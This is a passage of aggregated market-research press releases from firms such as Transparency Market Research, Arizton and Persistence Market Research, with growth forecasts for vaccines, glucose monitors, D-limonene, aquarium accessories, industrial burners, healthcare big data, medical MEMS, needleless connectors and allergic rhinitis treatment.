vaccination among adults and children. Moreover, government efforts towards the different vaccination programs especially for the children add fuel to the North America market. The market in Asia Pacific is expected to witness the strongest growth. Prevalence of various diseases such as polio, flu, and rotavirus, and government efforts toward immunization boost the growth of the market. Moreover, China is likely to dominate the human combination vaccines market in the region during the forecast period owing to a large population base and growing government support for vaccination. Europe is also a significant market for human combination vaccines due to well-developed health care infrastructure and increased spending on health. According to the World Health Organization, over 40% of children from sub-Saharan Africa have not received the required three doses of diphtheria-tetanus-pertussis vaccine and demand for vaccination is increasing to address the unmet need. These factors are likely to augment the human combination vaccines market in Middle East & Africa during the forecast period.Pre Book Full Report @Major players operating in the global human combination vaccines market are GlaxoSmithKline, Merck, Sanofi, Sun Pharmaceuticals, Takeda Pharmaceutical, Bavarian Nordic, and Pfizer, Inc.ABOUT US:Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.CONTACT:Transparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-345
Glucose Monitoring Devices Market Size, Share, Trends, Industry Analysis and Forecast 2023| Arizton

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The global glucose monitoring devices market is likely to cross $37 billion, growing impressively at a CAGR of more than 6% during the period 20172023.In 2016, diabetes was one of the leading causes of increasing mortality rate across the world. There is a high risk of cardiovascular and other diseases due to the rising prevalence of diabetes. Growing incidences of diabetes worldwide have made governments, institutions, and market players to work toward reducing the prevalence of diabetes by creating awareness about the use of home-care products for blood sugar monitoring.Abbott, Medtronic, LifeScan, and F.Hoffmann-La Roche are the leading players in the market.Order a free sample:Glucose Monitoring Devices Market: Key Vendor AnalysisThe competition in the market is currently intensifying due to the rapidly changing technological environment and high investment in R&D. The market is fragmented with many global players providing glucose monitoring devices with high accuracy and compatible with mobile applications.The global players are expected to increase their footprint in the market, with the introduction of new products in the market. The new product launches on the back of high R&D investments making the competition difficult for regional vendors. The market competition is expected to intensify further with an increase in product/service extensions, technological innovations, and M&A. Analysts at Arizton believe that global players would grow by the acquisition of regional or local players in the forecast period.The major vendors included in the report are as follows:AbbottMedtronicLifeScF.Hoffmann-La RocheOther prominent vendors include Mediwise, Medisana, Ascensia Diabetes Care, International Biomedical, Integrity Applications, Hemocue, Philosys, B. Braun, Terumo Europe, Acon Laboratories, A. Menarini Diagnostics, Bioptik Systems, Dexcom, AgaMatrix, Wama Diagnostica, 77 Elektronika, National Diagnostic Products, Beurer, Alere, Senseonics, Taidoc Technology, Echo Therapeutics, Panasonic Healthcare, BD, Bionime, Nova Biomedical, Arkray, Animas, Dariohealth, Nemaura, Nipro Diagnostics, Omnis Health, Owen Mumford, Novo Nordisk, Innovus Pharmaceuticals, and Glysens.Order a free sample:Glucose Monitoring Devices Market: DynamicsSmartphones and Smart gadgets to monitor blood glucose level to drive market growthAccording to the World Health Organization (WHO), diabetes is one of the leading causes of increasing mortality rate across the world. With the rising incidence and prevalence of diabetes and other medical conditions on account of diabetes such as CVDs, blindness, and renal problems, monitoring of blood sugar level is becoming increasingly popular among the global adult population. This trend is also getting an impetus from government initiatives and other institutional activities in different countries across the globe.Further, the global market for glucose monitoring devices is expected to grow over the next few years due to the use of smartphones and smart gadgets to monitor blood sugar levels and high adoption of glucose monitoring devices by women.Glucose Monitoring Devices Market: Segmental AnalysisSelf-monitoring blood glucose monitoring devices to continue its market dominance.In 2017, SMBG devices led the market with more than half of the market share. This segment is expected to account for a market share more than 64.5% in 2023. SMBG devices constitute an essential part of advanced sugar monitoring in diabetic patients, which contributed to the high demand in the market. The segment is followed by the CGM devices segment.Hospitals are the key end-users that influence the global glucose monitoring devices market. The entry of these devices in the market has increased the sales of glucose meters and other products through retail stores. Although, the trend of selling these devices online is increasing, a significant share of glucose monitoring devices distribution takes place through specialty stores. Glucose monitoring devices are mainly sold through retail distribution channels such as specialty stores and drug store or pharmacies. These are also available to end-users through OEMs, e-commerce portals and online direct-to-consumer stores such as Amazon, Wal-Mart, eBay, Walgreens, Alibaba, and AliExpress. Retail sales constitute 55% of the distribution model, and online sales represent the rest 45% of the market.Order a free sample:Glucose Monitoring Devices Market: Geographical AnalysisNorth America to continue as the leading marketNorth America is the most significant market contributor to the global glucose monitoring devices market. The US is likely to dominate the market in North America with its 50% market share in 2017. The growth of this market in the country is likely due to increased diabetes prevalence, high incidence of pre-diabetes cases, and introduction of new product formats. Major new entrants in the market are likely to be based in the US. Increasing funding for R&D activities for the introduction of products which can be safer, offer comfort, and have differentiated functionalities, will contribute to the market growth in this region.North America is followed by Europe. In 2017, Germany was the largest market for glucose monitoring devices in Europe, followed by the UK. This trend is expected to continue in the future, making Europe as a leading market for glucose monitoring devices.Rising prevalence of diabetes, higher per capita income, greater awareness of benefits of blood sugar level monitoring and control on account of government and other institutional efforts, and increasing domestic sales will propel the growth of the glucose monitoring devices market in APAC, Latin America, and MEA in the next few years.About Arizton Advisory & IntelligenceArizton  Advisory and Intelligence is an innovation and quality-driven firm, which offers cutting-edge research solutions to clients across the world. We excel in providing comprehensive market intelligence reports and advisory and consulting services.Arizton has gained a paramount standpoint in the market research arena as it offers top of the line solutions to clients to assess market landscape and to finalize foolproof business strategies. We are committed to provide inclusive market research reports and consulting services to clients from diversified industries including Consumer Goods & Retail Technology, Automotive and Mobility, Smart Tech, Healthcare and Lifesciences, Industrial Machinery, Chemicals and Materials, IT and Media, Logistics and PackagingArizton comprises a team of exuberant and well-experienced analysts who have mastered in generating incisive reports. Our specialist analysts possess exemplary skills in market research. We train our team in advanced research practices, techniques, and ethics to outperform in fabricating impregnable research reports.Arizton Advisory & IntelligenceChicago, Illinois, 60605Mail: enquiry@arizton.comCall: +1-312-465-7864
Find out the secret factors behind the success of D-limonene Market Growth?

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D-limonene is a chief constituent in numerous citrus oils such as grapefruit, mandarin, orange, and lemon. It is a pleasant lemon like aroma commonly used as terpene. It is an isomer of limonene used as a chemical. D-limonene has a wide application in air care and furnishing products, cleaning products for electric and electronic items, personal care products, etc. due to its pleasant aroma. It is also used as a food additive as a flavouring agent. Therefore the compound is experiencing wide demand in the food and beverages segment across the globe. The demand for D-limonene is growing at a rapid rate over the forecast period attributed to relatively high demand for the compound in products used on a daily basis such as creams, lotions, perfumes, soaps, etc. The global D-limonene market is expected to grow at a significant growth rate, attributed to increasing application of the compound in food and personal care industry. The market in North America is expected to register a relatively high growth rate over the forecast period followed by Asia Pacific.Request Sample:Global D-limonene Market: DynamicsThe major factors driving the growth of the global D-limonene market include growing industries such as food and beverages, pharmaceuticals, personal care, electronics and electrical, etc. Other applications such as furnishing products, air care products, and cleaning products are anticipated to enhance the growth of the global d-limonene market. High use of D-limonene for reducing the risk of potential pollutants as an alternative to chlorofluorocarbons (CFC) and ozone-depleting chemicals is also an important factor fuelling the growth of the compound across the globe. Companies manufacturing D-limonene products can leverage potential opportunities in regions such as North America, Europe, and Asia Pacific, attributed to rapidly growing demand for personal care and food products, and the trend is expected to continue over the forecast period.Global D-limonene Market: SegmentationThe global D-limonene market is segmented on the basis of end-use, source, and region. Among the end-use segments, personal care products segment contribute for significant value share over the forecast period in global D-limonene market owing to high demand for the compound in daily used products such as creams, lotions, perfumes, soaps, etc. Food products segment is followed by personal care products segment, owing to the significant growth of food additives across the globe over the forecast period. On the basis of source type segmentation, orange segment accounts for a relatively high share in the global D-limonene market over the forecast period, attributed to the comparatively high content of D-limonene in the orange.Browse Our Report:Global D-limonene Market: Regional OverviewOn the basis of geography, the global D-limonene market is fragmented into seven regions namely, North America, Western Europe, Asia Pacific except Japan (APEJ), Eastern Europe, Latin America, the Middle East & Africa and Japan. Among the regions, North America dominates the global D-limonene market in terms of revenue contribution owing to the relatively high demand for D-limonene from the personal care industry. North America is followed by Asia-Pacific, attributed to growing personal care and food and beverages industry particularly in the countries such as China and India. Eastern Europe and Japan account for a relatively low-value share in the global D-limonene market. Latin America and Middle East & Africa are expected to represent a moderate opportunity in the global D-limonene market, owing to the moderate economic as well as industrial growth in the region. Overall, the outlook for the global D-limonene market is positive over the forecast period.Global D-limonene Market: Key PlayersSome of the players in the global D-limonene market include Florida Chemical Company, Bramha Scientific, Aredale Chemical Company Limited, Norkem Group, Shamrock Chemicals, A. B. Enterprises, Aroma Aromatics & Flavours, Mentha & Allied Products Pvt. Ltd., Banner Chemicals Limited, Parchem fine & specialty chemicals, Seidler Chemical Co, Inc., Scandinavian Formulas, Inc., Univar Inc., and FBC Chemical Corporation.Persistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance. To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.305 Broadway,7th FloorNew York City, NY 10007United States+1-646-568-7751+1 800-961-0353 (USA-Canada Toll free)Email: sales@persistencemarketresearch.comWebsite:
Aquarium Accessories Market, Status and Forecast, by Players, Types and Applications 2025

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The global aquarium accessories market is gaining importance among the population over the years due to the rising fascination towards the underwater world and its effect on the atmosphere in the homes and other residential and commercial areas. For the younger population aquarium has become a valuable encounter with the nature and also helps them to gain knowledge regarding the underwater species. Fish keeping has become a popular hobby among the population across the globe in recent years and thus this is triggering the growth rate of the global aquarium accessories market. A well-planted aquarium with proper maintenance is considered as one of the most beautiful living ornaments kept at every households, hotels, restaurants etc.Request Report Brochure @Regular maintenance with proper care is essentially important to keep an aquarium healthy and look good. Selecting the suitable type of fish and also ensuring optimum numbers that do not exceed the total capacity of the aquarium is considered as one of the major factors to maintain an aquarium. Fishes and other underwater species are normally sold as juveniles and thus the aquarium needs enough space for them to grow in a proper way. It has been recorded that 1.5 to 2 million people across the globe keep aquarium and among which six hundred thousand households owns an aquarium to beautify their homes. Most of the aquariums used among the consumers are made up of glass panes due to their cost effectiveness, however, acrylic aquariums are gaining importance in recent years.The global aquarium accessories market is mainly driven by the rise in demand for the ornamental fishes among the population coupled with the aesthetic benefits associated with keeping an aquarium at home. Fish keeping in the aquariums and decorating it with ornamental plants and other invertebrate species are gaining importance among the consumers as it provides them therapeutic benefits and also helps to reduce stress among the patients in the hospitals. However, the presence of low margins in the aquarium accessories products is restraining the global aquarium accessories market.The global aquarium accessories market has been segmented on the basis of different product types and by distribution channel. By product type, the global aquarium accessories market has been segmented into filtration items, lights and hoods, decorative items, and temperature control systems and others which include plant life, roots, rocks and stones and miscellaneous cleaning tools. The market has been further segmented on the basis of the distribution channel namely online distribution channel and offline distribution channel. The growing interest among the consumers regarding keeping aquarium fishes has resulted in the establishment of new offline stores that are engaged in selling aquarium accessories products.Read Report Overview @In the region wise study, the global aquarium accessories market has been segmented into North America, Europe, Asia-Pacific, Middle East, Africa and Latin America.North America which includes U.S., Canada is anticipated to capture a significant part of the market share in the aquarium accessories market during the forecast period. It was recorded that a significant number of marine fishes and other under water invertebrates were imported in the U.S. in order to meet the rising demands of the population. Europe which includes Germany, France, U.K. and Italy among others also held a significant market share due to the rising trends in terms of preference for decorative products in the aquariums. Additionally, Asia Pacific region which includes China, India, Japan is also anticipated to capture a significant growth rate during the forecast period due to rise in aquascaping. Aquascaping is gaining importance in recent years as it displays unique styles of decoration inside the aquarium.Global key participants operating in the aquarium accessories market include Guangdong Boyu Group, Penn Plax, Qian Hu, Spectrum Brands, API, Aquaria, Blue Ribbon EHEIM, Hailea, AZOO, Interpet, Jebao, Tropical Marine Centre, United Pet Group, ZooMed, Hagen, Arcadia, Aqueon, among others.About UsTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Industrial burner Market Analysis and Value Forecast Snapshot by End-use Industry 2016  2024

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According to a new research report by Transparency Market Research (TMR), the global market for industrial burners demonstrates a highly fragmented and a competitive landscape, owing to the presence of a large pool of participants.Request Sample Report @The rivalry between these players is likely to increase in the years to come, as these players are actively involving into innovations, advancement in current offerings, and the acquisition of smaller players to gain more visibility in this market, states the report.As per the report, the global industrial burner market stood at US$19.6 bn in 2015. Researchers predict that the rise of this market will be at a CAGR of 3.0% during the period from 2016 to 2024, increasing the opportunity in this market to US$25.6 bn by the end of the forecast period. The petrochemicals segment has been reporting a higher consumption of these burners compared to other end users. The scenario is likely to remain so over the next few years due to a robust rise in the demand for petrochemicals in developing regions, particularly in Asia Pacific.Advanced Infrastructure and High Productivity to Ensure Dominance of North America Industrial Burner MarketThe report also provides a geographical analysis of the worldwide market for industrial burners. According to it, Europe, Asia Pacific, Latin America, North America, and the Middle East and Africa are the key regional markets for industrial burners across the world. In 2015, North America dominated the global market for industrial burners with an overall contribution of US$6.3 bn in terms of revenue. The regional market is anticipated to retain its lead over the forecast period on account of the advanced infrastructure, high productivity, and the ample presence of natural resources. Currently, the North America industrial burner market is led by the U.S. and Canada and the scenario is expected to remain same in the near future. The U.S., being a prominent producer of oil and gas in the whole world, is likely to report a greater demand for these burners when compared to the other countries in this region.Asia Pacific is also anticipated to witness a high-paced growth in its market for industrial burners in the years to come, thanks to the large pool of international industrial burner manufacturers, looking to establish their manufacturing units in China and India, prompted by the low cost of raw materials and labor. Apart from this, the significant expansion in the petrochemical and the mining industries and the increasing implementation of various government policies to reduce carbon footprints in emerging Asian nations is also projected to boost this regional market in the near future, notes the research study.Read Report Overview @Deployment of BMSs to Boost Markets GrowthThe extensive deployment of burner management systems (BMSs) in a number of industries, thanks to the benefits these systems provide, such efficient protection against the explosion of boilers, has reflected greatly in the sales of industrial burners across the world, says the author of this report.Going forward, the phenomenal increase in the demand for industrial boilers, fueled by the rising industrialization in developing regions and the expanding industrial application base of these boilers, is likely to add remarkably to the growth of this market in the next few years. However, the difficulties faced in the retrofitting of industrial burners may impede the progress of this market in the near future, reports the research study.About UsTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Big Data Vendors will pocket nearly $4 Billion in 2017 from Pharmaceutical and Healthcare Industry

Big Data in the Healthcare & Pharmaceutical Industry: 2017 - 2030 - Opportunities, Challenges, Strategies & Forecasts

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Big Data in the Healthcare & Pharmaceutical Industry: 2017  2030  Opportunities, Challenges, Strategies & ForecastsBig Data originally emerged as a term to describe datasets whose size is beyond the ability of traditional databases to capture, store, manage and analyze. However, the scope of the term has significantly expanded over the years. Big Data not only refers to the data itself but also a set of technologies that capture, store, manage and analyze large and variable collections of data, to solve complex problems.View Table of Contents and Complete List of Companies Featured in this Report:Amid the proliferation of real-time and historical data from sources such as connected devices, web, social media, sensors, log files and transactional applications, Big Data is rapidly gaining traction from a diverse range of vertical sectors. The healthcare and pharmaceutical industry is no exception to this trend, where Big Data has found a host of applications ranging from drug discovery and precision medicine to clinical decision support and population health management.For any inquiries regarding this report:Estimates suggest that Big Data investments in the healthcare and pharmaceutical industry will account for nearly $4 Billion in 2017 alone. Led by a plethora of business opportunities for healthcare providers, insurers, payers, government agencies, pharmaceutical companies and other stakeholders, these investments are further expected to grow at a CAGR of more than 15% over the next three years.Get Access to this Report:The Big Data in the Healthcare & Pharmaceutical Industry: 2017  2030  Opportunities, Challenges, Strategies & Forecasts report presents an in-depth assessment of Big Data in the healthcare and pharmaceutical industry including key market drivers, challenges, investment potential, application areas, use cases, future roadmap, value chain, case studies, vendor profiles and strategies. The report also presents market size forecasts for Big Data hardware, software and professional services investments from 2017 through to 2030. The forecasts are segmented for 8 horizontal submarkets, 5 application areas, 36 use cases, 6 regions and 35 countries.The report comes with an associated Excel datasheet suite covering quantitative data from all numeric forecasts presented in the report."Key Questions AnsweredThe report provides answers to the following key questions:How big is the Big Data opportunity in the healthcare and pharmaceutical industry?How is the market evolving by segment and region?What will the market size be in 2020 and at what rate will it grow?What trends, challenges and barriers are influencing its growth?Who are the key Big Data software, hardware and services vendors and what are their strategies?How much are healthcare providers, insurers, payers, pharmaceutical companies and other stakeholders investing in Big Data?What opportunities exist for Big Data analytics in the healthcare and pharmaceutical industry?Which countries, application areas and use cases will see the highest percentage of Big Data investments in the healthcare and pharmaceutical industry?Key FindingsThe report has the following key findings:In 2017, Big Data vendors will pocket nearly $4 Billion from hardware, software and professional services revenues in the healthcare and pharmaceutical industry. These investments are further expected to grow at a CAGR of more than 15% over the next three years, eventually accounting for over $5.8 Billion by the end of 2020.Through the use of Big Data technologies, hospitals and other healthcare facilities have been able to achieve cost reductions of more than 10%, improvements in outcomes by as much as 20% for certain conditions, growth in revenue by 30%, and increase in patient access to services by more than 35%.Big Data technologies are playing a pivotal role in accelerating the transition towards accountable and value-based care models, by enabling the continuous collection, consolidation and analysis of clinical and operational data from healthcare facilities and other available data sources.Addressing privacy and security concerns is necessary in order to fully leverage the benefits of Big Data in the healthcare and pharmaceutical industry. Therefore, it is essential for key stakeholders to make significant investments in data encryption and cybersecurity, in addition to adopting defensible de-identification techniques and implementing strict restrictions on data use.Research By Markets is an Online Reports Repository.We have a huge database of Research Reports that are segmented Country Wise and Industry Wise.Research By Markets3, Nagar Road,Pune 411 014, Maharashtra, Indiaenquiry@researchbymarkets.com+1-800-416-3124
Global MEMS Medical Application Market Expected to Hit US$6.5 billion by the end of 2019

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According to a recently published report by Transparency Market Research, the global market for micro electro mechanical systems, or MEMS, in medical applications is set to register growth at a whopping 20.2% CAGR during the forecast period from 2013 to 2019. The report is titled MEMS in Medical Applications Market - Global Industry Analysis, Size, Share, Growth, Trends and Forecast, 2013 - 2019. As per the findings of the report, the global MEMS medical application market, which stood at US$1.8 billion in 2012, is expected to reach US$6.5 billion by the end of 2019.Read Report Overview @The publication states that increasing healthcare expenditure, compounded by a rise in the global geriatric population, is driving the demand for MEMS in medical applications. Additionally, consumers around the world are increasingly demanding rapid means of diagnosis with minimum turnaround time. This has compelled leading vendors of medical devices to focus on the production of a single platform that can perform multiple diagnostic examinations efficiently. The report provides a comprehensive overview of the market and focuses on factors that producers should capitalize on in order to enjoy manufacturing advantages. It suggests that by leveraging the benefits inherent to MEMS, vendors will be able to produce more compact consumption connectors that can deliver high performance even on low power. Governments of various economies have realized the potential of introducing nanotechnology in the production process and MEMS in the healthcare industry. These factors have encouraged the global MEMS industry to provide the best market solutions.The report has segmented the MEMS in medical applications market into diagnostic devices, medical devices, surgical devices, and therapeutic devices on the basis of their use. The therapeutic devices market is expected to register the highest growth owing to the increased use of intrathecal pumps and other methods of drug delivery such as insulin delivery pumps. The market is also divided in terms of MEMS sensors, which includes sensors meant to monitor temperature, flow, pressure; accelerometers and gyroscopes; and optical sensors. According to the report, pressure sensors accounted for the largest share in the market with US$486.0 million in 2012 and are also expected to register robust growth at a 18.7% CAGR over the forecast period.Request Sample Report@Geographically, North America registered maximum demand for MEMS in medical application. The market for MEMS in North America was valued at US$800 million in 2012. However, the studies cited in the report indicate impressive growth prospects for emerging Asia Pacific economies such as India and China. Fuelled by growing awareness and rise in disposable incomes, India and China will emerge as the dominant markets for MEMS in medical applications.The report profiles leading companies such as Honeywell, E Sensing and Control, Texas Instruments, Measurement Specialties Inc, Freescale, STMicroelectronics, and other national and regional players, in order to study the competitive landscape of the market.Get Full Report@About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Contact us:Transparency Market Research90 State Street,Suite 700,AlbanyNY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free 866-552-3453Email: sales@transparencymarketresearch.com
Acute Care Needleless Connectors Market to be worth US$972.0 mn by 2020

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As per TMR estimations, the global market for acute care needleless connectors, rising at a CAGR of 10.20% during the period from 2014 to 2012, is anticipated to reach a value of US$972.0 mn by the end of the forecast period. Hitherto, the demand for complex needleless connectors was higher than products. However, simple needleless connectors are expected to report a rise in their demand at a faster rate in the years to come. Geographically, North America, which is the current leader of the overall market, is projected to continue on the top over the period of the forecast, thanks to the presence of an advanced medical and healthcare infrastructure, notes the research study.With a large pool of vendors of acute care needleless connectors across the world, the global acute care needleless connectors market are displaying a highly competitive business landscape, states a new study by Transparency Market Research (TMR). As researchers review the performance of each of the leading market players in this report, they find out that innovation is pivotal to success in this market and companies are constantly investing in research initiatives to design and develop innovative connectors that meet the dynamic expectations of customers. CareFusion Corp., Becton, Dickinson and Co., Baxter Healthcare Corp., RyMed Technologies, Vygon SA, B. Braun Medical Inc., ICU Medical, and Nexus Medical LLC are some of the leading vendors of acute care needleless connectors, worldwide, reports the study.Report overview @According to the author of the study, the global market for acute care needleless connectors is witnessing an incredible rise, thanks to the increasing cases of needlestick injuries and blood drawback, together with an escalating base of the geriatric population. The increasing number of patients suffering from various chronic disorders, such as diabetes, cardiac diseases, and cancer, is also influencing the sales of acute care needleless connectors, as the awareness regarding the benefits of needleless connectors is increasing substantially among medical professionals and patients, both.The market is also gaining from the increasing disposable income of people in emerging economies, which has enabled them to spend comfortably on expensive treatments and afford costly medication and medical devices, states the research report.Request to sample report @High Cost of Branded Acute Care Needleless Connectors to Limit Markets GrowthThe worldwide market for acute care needleless connectors, although, looks flourishing, it may hit some roadblocks in future, such as the high cost of branded needleless connectors, resulting in consumers reaching for easily available substitutes. The market may also get hampered by the increasing incidence of bloodstream infections triggered by catheters.Nonetheless, the market will still prosper in the years to come, thanks to the rising investments made by emerging economies in research and development initiatives. With companies increasingly establishing their production units in emerging countries, the market is likely to witness a high growth in the coming years, reports the market study.Summary of Table of ContentChapter 1 PrefaceChapter 2 Executive SummaryChapter 3 Global Acute Care Needleless Connectors Market OverviewChapter 4 Global Acute Care Needleless Connectors Market, by Design TypeChapter 5 Global Acute Care Needleless Connectors Market, by MechanismChapter 6 Global Acute Care Needleless Connectors Market, by Dwell TimeChapter 7 Global Acute Care Needleless Connectors Market, by GeographyChapter 8 RecommendationsChapter 9 Company ProfilesRequest to Browse Full Table of Content, figure and Tables @About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:TMR Blog:
Allergic Rhinitis Market: Segment Snapshot and Table of Content (2016-2024)

Allergic Rhinitis Market

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Technological advancements in the medical world and rising prevalence of foodborne diseases will primarily build the market for allergic rhinitis treatment globally. Secondarily, strategic partnerships and synergies between big brands, soaring usage of second-generation multiplex immunoassay, and augmenting R&D activities in life sciences and molecular diagnostics will support the market surge within the next few years. Over 2016-2020, the global AR treatment market will reach US$ 14 Bn, which will further take a leap to US$ 16.038 Bn by the end of 2024. Over 2016-2024, the market is likely to see impressive growth at a healthy CAGR of 7.5%. Market Research Expert, Life Sciences & Transformational Health, Persistence Market Research.According to Persistence Market Researchs recent report titled Global Allergic Rhinitis Treatment Market: Industry Analysis and Forecast, 20162024, key market competitors have embraced different strategic moves in order to strengthen their positions in the global allergic rhinitis treatment marketplace. These activities, according to Persistence Market Research, will boost the overall status of the market in near future.Merck & Co. and Johnson & Johnson are concentrating on new product development, such as nasal sprays.Boehringer Ingelheim will continue to contribute a major share to the market through an increased focus on R&D and a strong distribution network.Sanofi S.A. is also focusing more on increasing R&D investments directed to expanded sales.In addition to growing R&D efforts, AstraZeneca is also emphasizing on innovation of technologically advanced products and acquisition of selective regional players.GlaxoSmithKline PLC and Alcon (Novartis AG) are prioritising cost-effective product development for long-term profits; Alcon specifically aims to tap into emerging markets.Acquisition of players from the same segment and different region will be a key strategy of Teva Pharmaceutical Industries Ltd., which targets production capacity expansion.Get Full Report @The global Allergic Rhinitis Market is segmented on the basis of disease type, treatment type, route of administration, distribution channel and region.By disease type, perennial AR segment will remain dominant with around 47% market value share in 2024, gaining around 123 BPS throughout the forecast period. On the other hand, despite losing over 30 BPS over 2016-2024, occupational AR will continue to be the second largest segment with over 35% revenue share at the end of the assessment period. While the revenues of the former are expected to surpass US$ 7.0 Bn, the latter will possibly exceed a value of US$ 5.0 Bn by the end of 2024.By treatment type, immunotherapy treatment segment is expected to be the fastest growing segment over the forecast owing to introduction of new immunotherapy based products, followed by antihistamines segment. However, antihistamines will continue to be the leading treatment type segment with over 50% share in 2024, followed by corticosteroids with over 31% share.Based on route of administration, oral route of administration segment will cover nearly half of the market in terms of value, whereas nasal route of administration segment is anticipated to capture around 38% share of the total market value in 2024. Intravenous segment is foreseen to witness a higher CAGR compared to others, which can uplift the sales revenues of this segment to cross US$ 1.25 Bn in 2024.On the basis of distribution channel, retail pharmacies will account for higher revenues than hospital pharmacies throughout the assessed period. Retail pharmacy revenues are likely to surpass US$ 7.0 Bn, growing at the fastest CAGR of 3.9% over 2016-2024. Whereas, hospital pharmacies will reach over US$ 5.0 Bn, accounting for around 31% share of the market value in 2024.As per the geographical assessment of the global allergic rhinitis treatment market, North America will continue to capture the maximum revenue share over the 10-year tenure. With over 63% value share by 2024-end, this region is likely to surpass US$ 10.0 Bn in terms of revenues. European market will possibly attract the revenues worth US$ 3.68 Bn by 2024 end, contributing over 22% share of the market size. The third key region i.e. APAC is estimated to reach over US$ 1.27 Bn in 2024.Request A Sample Report @Summary of Table of Content1. Executive Summary2. Market Introduction3. Global Allergic Rhinitis Treatment Market Analysis Scenario4. Global Allergic Rhinitis Treatment Market Dynamics5. Global Allergic Rhinitis Treatment Market Forecast, By Treatment Type6. Global Allergic Rhinitis Treatment Market Forecast Value, By Disease Type7. Global Allergic Rhinitis Treatment Market Forecast, By Route of Administration8. Global Allergic Rhinitis Treatment Market Forecast, By Distribution Channel9. Global Allergic Rhinitis Treatment Market Analysis and Forecast, By Region10. North America Allergic Rhinitis Treatment Market Analysis and Forecast11. Latin America Allergic Rhinitis Treatment Market Analysis and Forecast12. Europe Allergic Rhinitis Treatment Market Analysis and Forecast13. APAC Allergic Rhinitis Treatment Market Analysis and Forecast14. MEA Allergic Rhinitis Treatment Market Analysis and Forecast15. Competitive Landscape16. Assumptions and Acronyms Used17. Research MethodologyRequest to Browse Full Table of Content, figure and Tables @About UsPersistence Market Research (PMR) is a U.S.-based full-service market intelligence firm specializing in syndicated research, custom research, and consulting services. PMR boasts market research expertise across the Healthcare, Chemicals and Materials, Technology and Media, Energy and Mining, Food and Beverages, Semiconductor and Electronics, Consumer Goods, and Shipping and Transportation industries. The company draws from its multi-disciplinary capabilities and high-pedigree team of analysts to share data that precisely corresponds to clients business needs.PMR stands committed to bringing more accuracy and speed to clients business decisions. From ready-to-purchase market research reports to customized research solutions, PMRs engagement models are highly flexible without compromising on its deep-seated research values.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
US Arms and Ammunition Market 2017-2021 - Global Industry Size, Trends and Forecasts Report

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This industry profile helps to gain an insight into the evolution of the industry and competitive dynamics prevalent in the market. It discusses the significant developments in the industry and analyzes the key trends and issues. The profile provides inputs in strategic business planning of industry professionals.This profile is of immense help to management consultants, analysts, market research organizations and corporate advisors. The objective and scope of various sections of our industry profile has been discussed below.Industry SnapshotThis section gives a holistic overview of the industry. It starts with defining the market and goes on to give historical and current market size figures. It also clearly illustrates the major segments of the market which would be discussed later on in the report.Click to get Sample PDF:Industry AnalysisIt involves a comprehensive analysis of the industry and its market segments. This section discusses the key developments that have taken place in the industry. It also identifies and analyzes the driving factors and challenges of the industry. A description of the regulatory structure tells us about the major regulatory bodies, laws and government policies.Country AnalysisThis section presents the key facts & figures of the country. It also discusses the political environment and the macroeconomic indicators. It analyzes government stability and economic growth of the country.View Complete TOC with Tables and Figures at:Competitor AssessmentThis section compares the major competitors in the industry. The Competitors At-a-Glance is aimed at giving an overview of the competitive landscape in the industry.Company ProfilesThe major companies are profiled in this section. For each company, business description is given followed by financial highlights and recent developments.Industry OutlookThis section presents the outlook of the industry. The projections help us in evaluating the future of the industry. It gives an insight into the investment opportunities present in the sector.ResearchMoz is the worlds fastest growing collection of market research reports worldwide. Our database is composed of current market studies from over 100 featured publishers worldwide. Our market research databases integrate statistics with analysis from global, regional, country and company perspectives. ResearchMozs service portfolio also includes value-added services such as market research customization, competitive landscaping, and in-depth surveys, delivered by a team of experienced Research Coordinators.Albany NY - 12207United StatesTel: +1-518-621-2074Tel: 866-997-4948 (Us-Canada Toll Free)Email: sales@researchmoz.usFollow us on LinkedIn at:
Asia-Pacific Cobalt Naphthenate Market Is Expected to Exhibit an Upward Growth Trend

